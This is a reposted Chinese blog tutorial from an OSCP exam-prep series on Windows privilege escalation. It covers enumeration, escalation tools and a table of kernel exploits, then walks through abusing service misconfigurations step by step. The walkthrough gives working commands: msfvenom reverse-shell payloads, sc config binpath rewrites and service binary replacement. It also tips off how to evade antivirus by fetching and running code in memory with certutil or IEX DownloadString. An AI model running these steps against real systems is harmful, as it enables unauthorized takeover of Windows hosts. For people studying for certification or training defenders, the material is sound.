文章总结: 本文是OSCP备考系列第18期,聚焦Windows提权。核心观点是Windows提权本质与Linux相同,即找到高权限组件并篡改其执行内容,但攻击面更广。文章强调OSCP考试中99%的提权靠服务配置错误而非内核漏洞,并详细介绍了信息收集方法、手动枚举命令、自动化工具对比以及三种服务配置错误利用技术:未引用服务路径、弱服务权限和可写服务二进制/DLL劫持。最后给出了一条完整的攻击链示例,从低权shell到获取SYSTEM权限。 综合评分: 86 文章分类: 渗透测试,红队,内网渗透,安全工具,实战经验
OSCP百日备考18|Windows提权(上):信息收集+内核漏洞+服务配置错误,从低权用户摸到SYSTEM
泷羽Sec-陌离
2026年7月14日 15:45 宁夏
在小说阅读器读本章
去阅读
靶机里最爽的瞬间,是看着命令行弹出 NT AUTHORITY\SYSTEM
大家好,这里是你们的学长。
上一期(第17期)咱们把 Linux 提权那套”S根目录权限”的活儿聊透了——SUID、sudo、cron、NFS,从普通用户干到 root。后台好多宝子私信我:”学长,Windows 机器在 OSCP 考试里也常碰到,它和 Linux 提权到底是不是两码事?我拿到一个 C:\Users\lowuser> 的shell,下一步该往哪捅?”
这问题问到点子上了。
说句大实话:Windows 提权和 Linux 提权,底层逻辑一模一样——都是”找到以高权限运行的组件,然后篡改它执行的代码或配置”。但 Windows 的攻击面比 Linux 肥得多,因为它多了三样 Linux 没有的东西:注册表(Registry)、服务(Service)、令牌(Token)。
这一期我们先打前半场:信息收集、内核漏洞、服务配置错误。后半场(凭据、UAC、令牌魔法)留到第19期,不然篇幅太长你们划不到底。
一、先划生死线:考试能用什么?
OSCP 考试对 Windows 提权工具的态度,和 Linux 一样——手动枚举脚本随便用,自动化漏洞利用工具别碰。
| 工具 / 手法 | 考试能用? | 说明 | | — | — | — | | WinPEAS | ✅ 能用 | 自动化枚举首选,手动跑不违规,别用带自动利用的模块 | | PowerUp | ✅ 能用 | 专注服务/注册表配置错误,PowerShell 加载 | | Seatbelt | ✅ 能用 | GhostPack 出品,安全向细分枚举,噪声低 | | PrivescCheck | ✅ 能用 | AV 友好,报告清晰,考试环境不容易被杀 | | Mimikatz | ✅ 手动 | 后渗透拿凭据,注意被 AV 拦截,考试允许但需自己绕过 | | Metasploit (kiwi) | ⚠️ 限1台 | 同 MSF 总规则,全卷只能用 1 个目标 | | searchsploit + 内核EXP | ⚠️ 慎选 | 内核漏洞利用极易崩机器,考试不推荐首选 | | 自动化提权脚本(如自动打MS17-010的工具) | ❌ 禁止 | 类似 SQLMap 的”一键利用”工具,违反规则 |
❝
学长划重点:OSCP 考试里的 Windows 机器,99% 是配置错误提权,不是内核漏洞。你拿着 EternalBlue 把靶机打蓝屏了,这题直接 0 分,哭都来不及。内核漏洞那是真实内网渗透的活儿,咱们区分开讲。
二、说人话:Windows 提权到底在提什么?
一句话本质:找到一个以 SYSTEM 或 Administrator 身份运行的”程序/服务/安装包”,然后把它本来要执行的代码,换成你的恶意代码。
Linux 靠的是文件系统权限位(SUID 位、/etc/shadow 可写)。Windows 不玩这套,它玩的是:
- 服务(Service):很多服务默认以
NT AUTHORITY\SYSTEM跑。如果你能改这个服务”启动哪个 exe”,你就继承了 SYSTEM。 - 注册表(Registry):Windows 的”中央配置数据库”。自启动项、安装策略、凭据,全在里面。改写它 = 控制开机行为。
- 令牌(Token):Windows 的”临时通行证”。某些服务账户自带
SeImpersonatePrivilege,能直接”冒充”SYSTEM——这是第19期令牌魔法的核心。
记住一句口诀:Windows 提权 = 找高权组件 + 篡改它的执行内容。下面所有技术都绕不开这十个字。
三、信息收集:别瞎打,先摸家底
我当年第一次打 Windows 靶机,拿到 shell 二话不说就上 whoami,然后愣了半小时——除了知道自己是 lowuser,啥也不会。后来才懂:90% 的提权工作发生在枚举阶段,不是利用阶段。
3.1 手动枚举(必会,考试断网也能用)
:: 系统版本和补丁——决定你有没有老漏洞可打
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
wmic qfe get Caption,Description,HotFixID,InstalledOn
:: 我是谁、有什么特权——SeImpersonate 在这一步就藏不住
whoami
whoami /priv
whoami /groups
:: 本地管理员有哪些人(横向/提权目标)
net localgroup administrators
:: 跑了什么服务、什么进程
tasklist /v
sc query type= all state= all
:: 计划任务——常以 SYSTEM 跑,下期细讲
schtasks /query /fo LIST /v
:: 网络、共享、防火墙
ipconfig /all
netstat -ano
net share
netsh advfirewall firewall show rule name=all
这些命令考试环境断网也能跑,是保底手段。学长建议:拿到 shell 先手动撸一遍上面这些,再上工具。 工具会触发 AV,手动不会。
3.2 自动化工具对比
| 工具 | 特点 | 考试频率 | 噪声(AV风险) | | — | — | — | — | | WinPEAS | 全覆盖,红/黄高亮风险项 | ⭐⭐⭐⭐⭐ | 高(exe 易被杀) | | PowerUp | 专注服务/注册表配置错误 | ⭐⭐⭐⭐ | 中(PS 脚本) | | Seatbelt | 安全向,细分检查(UAC/Defender/凭据) | ⭐⭐⭐ | 低 | | JAWS | 纯 PowerShell,无 exe 落地 | ⭐⭐⭐ | 低 | | PrivescCheck | AV 友好,报告最清晰 | ⭐⭐⭐⭐ | 低 |
:: WinPEAS(PEASS-ng 维护,winPEASany.exe 是通杀版)
.\winPEASany.exe quiet
:: PowerUp(PowerSploit 的一部分)
Import-Module .\PowerUp.ps1
Invoke-AllChecks
:: Seatbelt(GhostPack)
.\Seatbelt.exe -group=all
:: PrivescCheck(推荐考试用,AV 不怎么理它)
powershell -ExecutionPolicy Bypass -File .\PrivescCheck.ps1
❝
怎么读 WinPEAS 的输出?盯住红色和黄色的行。它会在 “Services Information”、”Registry”、”Credentials” 几个区块把能打的漏洞标出来。但记住:标红 ≠ 一定能打,一定要手动用
icacls验证目录是否真可写。
四、内核漏洞:真实内网的大杀器,考试里的”高危动作”
先泼盆冷水:下面这些漏洞在真实渗透/内网老机器上依然常见,但OSCP 考试不靠它们。原因就一个——考试机器是出题人精心配好的,故意留了配置错误给你打,你偏要去跑内核 EXP,崩了机器自己承担。
但作为网安人,你得知道它们长啥样:
| 漏洞 | 影响版本 | 考试能用? | 实战价值 | | — | — | — | — | | MS16-032 | Win7/8/10、Server 2008/2012 | ⚠️ 易崩 | 老系统有效 | | MS17-010 (EternalBlue) | Win7/Server 2008 R2 及更早 | ⚠️ MSF限1台 | 内网未打补丁老机器 | | CVE-2019-1388 | Win7–Win10(UAC绕过提权) | ❌ 非主路径 | 提权辅助 | | CVE-2020-0796 (SMBGhost) | Win10 1903/1909 | ⚠️ 特定版本 | 特定版本 | | PrintNightmare (CVE-2021-34527) | 全版本(已发补丁) | ❌ 已修复 | 未打补丁内网/域控 |
:: MS16-032 利用示例(老系统)
Import-Module .\MS16-032.ps1
Invoke-MS16-032
❝
学长提醒:查内核漏洞别只靠记忆,用工具比对补丁级别:
Watson(老牌,C# 写的)wesng(Windows Exploit Suggester – Next Generation,Python)它们会告诉你”这块系统缺哪个补丁、对应哪个 EXP”。但考试里看到结果,优先打配置错误,内核 EXP 放最后当兜底。
五、服务配置错误:OSCP 考试的提权主战场
这是你考试里最常遇到的提权路径,没有之一。三种花样:
5.1 未引用服务路径(Unquoted Service Path)
原理:如果服务的二进制路径带空格又没加引号,Windows 启动时会一级级试:
路径:C:\Program Files\My App\Service\binary.exe
Windows 会依次尝试:
C:\Program.exe ← 如果你能写 C:\,就在这儿放恶意 exe
C:\Program Files\My.exe
C:\Program Files\My App\Service\binary.exe ← 真正的程序
只要你能在前面某个目录写文件,就能抢先执行你的恶意程序,而且是以 SYSTEM 身份。
:: 第一步:找带空格且没引号的自动启动服务
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows" | findstr /i /v """"
:: 第二步:确认路径里某个目录你能写(比如 C:\Program Files\ 下的子目录)
icacls "C:\Program Files\Vuln App"
:: 第三步:生成恶意 exe(反向shell)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o Program.exe
:: 第四步:放到可写目录,重启服务(或重启机器)
copy Program.exe "C:\Program Files\Vuln App\"
net stop "VulnService" && net start "VulnService"
5.2 弱服务权限(Weak Service Permissions)
某些服务允许普通用户改它的配置(SERVICE_CHANGE_CONFIG)。既然服务以 SYSTEM 跑,你把它的启动路径指到你的 payload,就等于 SYSTEM 帮你运行。
:: 用 accesschk(Sysinternals)查哪些服务普通用户能改
accesschk.exe /accepteula -uwcqv "Authenticated Users" *
accesschk.exe /accepteula -uwcqv "Users" *
:: 如果有 SERVICE_CHANGE_CONFIG 权限,直接改 binpath
sc config VulnService binpath= "C:\temp\revshell.exe"
sc stop VulnService
sc start VulnService
❝
学长踩过的坑:改完
binpath记得用sc qc VulnService确认改成功了,而且先把原 exe 备份,考试崩了还能还原。
5.3 可写服务二进制 / DLL 劫持
- 可写二进制:服务 exe 本身你有权限覆盖 → 直接替换。
icacls "C:\Path\To\service.exe" :: 看是否有 (M) 修改权限
copy /Y revshell.exe "C:\Path\To\service.exe"
sc stop VulnService && sc start VulnService
- DLL 劫持:服务加载 DLL 时如果没指定完整路径,Windows 按固定顺序搜索。用 Process Monitor(procmon)过滤
Result = NAME NOT FOUND且Path以.dll结尾的加载,找到可写目录里缺失的 DLL,把恶意 DLL 放进去,重启服务即触发。
❝
DLL 劫持是实战里特别阴间的手法——杀软常常不报,因为你是”合法程序加载了恶意 DLL”。但考试里出现频率不如前两种,知道原理即可。
六、一条完整的攻击链(考试里真能复现)
学长把上面串成一条线,你们照着在靶机里跑一遍就懂了:
1. 拿到低权 shell:C:\Users\lowuser>
whoami /priv → 没啥特权,正常
2. 跑 WinPEAS:
.\winPEASany.exe quiet
→ 红色提示:某个服务 "VulnApp" 路径未引用,且 C:\Program Files\VulnApp\ 可写
3. 手动验证可写性:
icacls "C:\Program Files\VulnApp"
→ 确认 Users 组有 (M) 修改权限
4. 生成 payload(注意架构匹配 x64):
msfvenom -p windows/x64/shell_reverse_tcp LHOST=攻击机IP LPORT=4444 -f exe -o Program.exe
5. 放到可写目录第一级:
copy Program.exe "C:\Program Files\VulnApp\"
6. 攻击机开监听:
nc -lvnp 4444
7. 重启服务(没权限就重启机器,需要 SeShutdownPrivilege):
net stop VulnApp && net start VulnApp
(或 shutdown /r /t 0)
8. 监听收到连接:
whoami
→ NT AUTHORITY\SYSTEM 🎉
这条链没有任何内核漏洞、没有任何自动利用工具,纯手工 + 配置错误,正是 OSCP 考试最爱考的节奏。
七、避坑指南(都是学费换来的)
- 别一上来就跑内核 EXP。考试机器靠配置错误,跑内核崩了直接 0 分。先枚举、先打”低垂果实”。
- WinPEAS 标红 ≠ 能打。一定要用
icacls手动验证目录/文件是否真可写,很多红项是误报。 - 替换服务二进制前先备份原文件。考试崩了还能
copy回去还原,不备份就只能干瞪眼。 - **重启服务没权限?看
whoami /priv有没有SeShutdownPrivilege**。有就直接shutdown /r /t 0重启机器来重启服务。 - DLL 劫持别瞎猜。用 Process Monitor 确认是
NAME NOT FOUND的 DLL、且所在目录你真能写,再放恶意 DLL。 - 生成 exe 注意架构匹配。目标是 x64 就生成 x64,x86 就 x86,错了不执行还没报错,排查半天。
- 杀软拦 exe? 用
certutil -urlcache或 PowershellIEX (New-Object Net.WebClient).DownloadString()内存加载,少留文件。 - 时间紧张时优先打这三样:AlwaysInstallElevated(下期讲)、未引用服务路径、弱服务权限。它们出现频率最高、利用最稳。
八、下期预告
第19期(下)咱们聊 Windows 提权的”后半场”——也是实战里最刺激的部分:
- 凭据利用:Mimikatz 怎么从内存里抠出管理员明文密码和哈希,Pass-the-Hash 怎么用哈希直接横着走;
- UAC 绕过:fodhelper、eventvwr 这些”自动提权”程序怎么被劫持(但学长先剧透:UAC 绕过只是 medium→high,不是 SYSTEM);
- 令牌魔法:
SeImpersonatePrivilege+ JuicyPotato / PrintSpoofer / GodPotato,服务账户秒变 SYSTEM,这是 OSCP 考试的高频题; - 其他后门:注册表自启动、计划任务、IFEO 映像劫持。
宝子们先把这期上篇的手动枚举命令敲熟,下期见。
❝
我是学长,一个在靶场里掉了无数头发但系统没崩过的网安老兵。关注我,OSCP 这条路咱们一起走完。Try Harder!
OSCP/OSEP一对一私教直通车:协议保障,直通高级渗透测试专家
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:泷羽Sec-陌离 《OSCP百日备考18|Windows提权(上):信息收集+内核漏洞+服务配置错误,从低权用户摸到SYSTEM》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论